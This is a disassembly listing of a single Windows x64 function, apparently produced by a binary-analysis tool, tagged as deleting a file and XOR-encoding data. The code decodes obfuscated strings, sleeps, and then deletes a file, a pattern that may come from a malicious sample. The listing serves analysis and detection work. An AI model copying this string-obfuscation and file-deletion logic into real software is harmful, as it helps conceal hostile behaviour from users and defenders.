Function at 0x140053220
Capabilities:
Delete file
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x50]
sub rsp, 0x150
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
mov rdi, rcx
mov qword [rsp + 0x38], 0xf
mov qword [rsp + 0x30], 0xe
movsd xmm0, qword [0x140132790]
movsd qword [rsp + 0x20], xmm0
mov eax, dword [0x140132798]
mov dword [rsp + 0x28], eax
movzx eax, word [0x14013279c]
mov word [rsp + 0x2c], ax
mov byte [rsp + 0x2e], 0
lea rcx, [rsp + 0x20]
call fcn.140003a40
test al, al
sete bl
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x1400532d8
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400532d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400532d3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400953e4
test bl, bl
je 0x140053323
mov qword [rsp + 0x38], 0xf
mov qword [rsp + 0x30], 0xe
movsd xmm0, qword [0x140132790]
movsd qword [rsp + 0x20], xmm0
mov eax, dword [0x140132798]
mov dword [rsp + 0x28], eax
movzx eax, word [0x14013279c]
mov word [rsp + 0x2c], ax
mov byte [rsp + 0x2e], 0
mov dl, 1
lea rcx, [rsp + 0x20]
call fcn.1400035c0
call fcn.140053de0
mov rsi, rax
movups xmm0, xmmword [0x1401326e0]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [0x1401326f0]
movups xmmword [rbp - 0x40], xmm1
mov ecx, dword [0x140132700]
mov dword [rbp - 0x30], ecx
movzx ecx, word [0x140132704]
mov word [rbp - 0x2c], cx
xor r12d, r12d
mov r8d, r12d
lea r13d, [r12 + 4]
lea r14d, [r12 + 0x1f]
mov r15d, dword [0x1401b8618]
cmp r15d, 2
jl 0x1400534b7
movdqa xmm5, xmmword [0x1400e3ad0]
movdqa xmm4, xmmword [0x140132c50]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140132c30]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140132c40]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp - 0x4c]
mov edx, dword [rbp - 0x80]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140123380]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140123380]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400533b0
cmp r8d, 0x26
jge 0x140053500
movsxd rax, r8d
lea r9, [rbp - 0x50]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x1400534d0
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], 0xf
lea rax, [rbp - 0x50]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140053521
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x60]
call fcn.140004420
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x70]
mov rcx, rsi
call fcn.14007e110
nop
lea rsi, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae rsi, qword [rbp - 0x70]
movups xmm0, xmmword [0x140132708]
movups xmmword [rsp + 0x20], xmm0
movsd xmm1, qword [0x140132718]
movsd qword [rsp + 0x30], xmm1
mov eax, dword [0x140132720]
mov dword [rsp + 0x38], eax
cmp byte [0x140132723], 0
je 0x140053720
mov r8d, r12d
cmp r15d, 2
jl 0x1400536d7
movdqa xmm5, xmmword [0x1400e3ad0]
movdqa xmm4, xmmword [0x140132c50]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140132c30]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140132c40]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rsp + 0x24]
mov edx, dword [rbp - 0x80]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140123380]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140123380]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400535d0
cmp r8d, 0x1c
jge 0x140053720
movsxd rax, r8d
lea r9, [rsp + 0x20]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x1400536f0
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], 0xf
lea rax, [rsp + 0x20]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140053740
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x50]
call fcn.140004420
mov r8, rsi
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x40]
call fcn.14005e1f0
nop
lea rcx, [rsp + 0x40]
call fcn.140003c90
test al, al
jne 0x140053c47
lea rdx, [rbp - 0x70]
mov r14, qword [rbp - 0x70]
mov rsi, qword [rbp - 0x58]
cmp rsi, 0x10
cmovae rdx, r14
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
cmp r8, qword [rbp - 0x60]
jne 0x1400537b9
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140053c4f
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.140002e40
mov rcx, rax
call fcn.1400527c0
call fcn.140053de0
mov rsi, rax
lea rax, [rsp + 0x60]
mov qword [rbp + 0x98], rax
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], 0xf
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140053810
lea rcx, [rsp + 0x60]
call fcn.140004420
nop
movups xmm0, xmmword [str.PMNKO_a]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [0x140132740]
movups xmmword [rbp - 0x18], xmm1
movups xmm0, xmmword [0x140132750]
movups xmmword [rbp - 8], xmm0
movups xmm1, xmmword [str.Z_GY]
movups xmmword [rbp + 8], xmm1
mov r8d, r12d
cmp r15d, 2
jl 0x1400539a1
movdqa xmm5, xmmword [0x1400e3ad0]
mov edx, r12d
movdqa xmm4, xmmword [0x140132c50]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140132c30]
mov r14d, 0x1f
movd xmm8, r14d
movdqa xmm0, xmmword [0x140132c40]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp - 0x24]
mov r8d, dword [rbp - 0x80]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140123380]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140123380]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x40
jl 0x1400538a0
jmp 0x1400539e8
lea r9, [rbp - 0x28]
nop word [rax + rax]
mov eax, 0x2f684bdb
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x40
jl 0x1400539b0
mov r14d, 0x1f
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], 0xf
lea rax, [rbp - 0x28]
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x140053a00
mov r8, rbx
lea rdx, [rbp - 0x28]
lea rcx, [rsp + 0x20]
call fcn.140004420
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.14007d3d0
test al, al
jne 0x140053c47
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movups xmm0, xmmword [0x140132770]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140132780]
movups xmmword [rsp + 0x70], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x140053c12
mov r8d, r12d
cmp r15d, 2
jl 0x140053bd1
movdqa xmm5, xmmword [0x1400e3ad0]
mov edx, r12d
movdqa xmm4, xmmword [0x140132c50]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140132c30]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140132c40]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rsp + 0x64]
mov r8d, dword [rbp - 0x80]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140123380]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140123380]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140053ad0
jmp 0x140053c12
lea r9, [rsp + 0x60]
nop word [rax + rax]
mov eax, 0x2f684bdb
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140053be0
lea rcx, [rsp + 0x60]
call fcn.1400061e0
mov qword [rdi], r12
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov qword [rdi + 0x10], r12
mov byte [rdi], 0
lea rcx, [rsp + 0x40]
call fcn.140003010
nop
lea rcx, [rbp - 0x70]
call fcn.140003010
jmp 0x140053c89
mov rsi, qword [rbp - 0x58]
mov r14, qword [rbp - 0x70]
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rdi + 0x10], xmm1
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
cmp rsi, 0x10
jb 0x140053c89
lea r8, [rsi + 1]
mov rdx, r14
lea rcx, [rbp - 0x70]
call fcn.140004580
mov rax, rdi
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret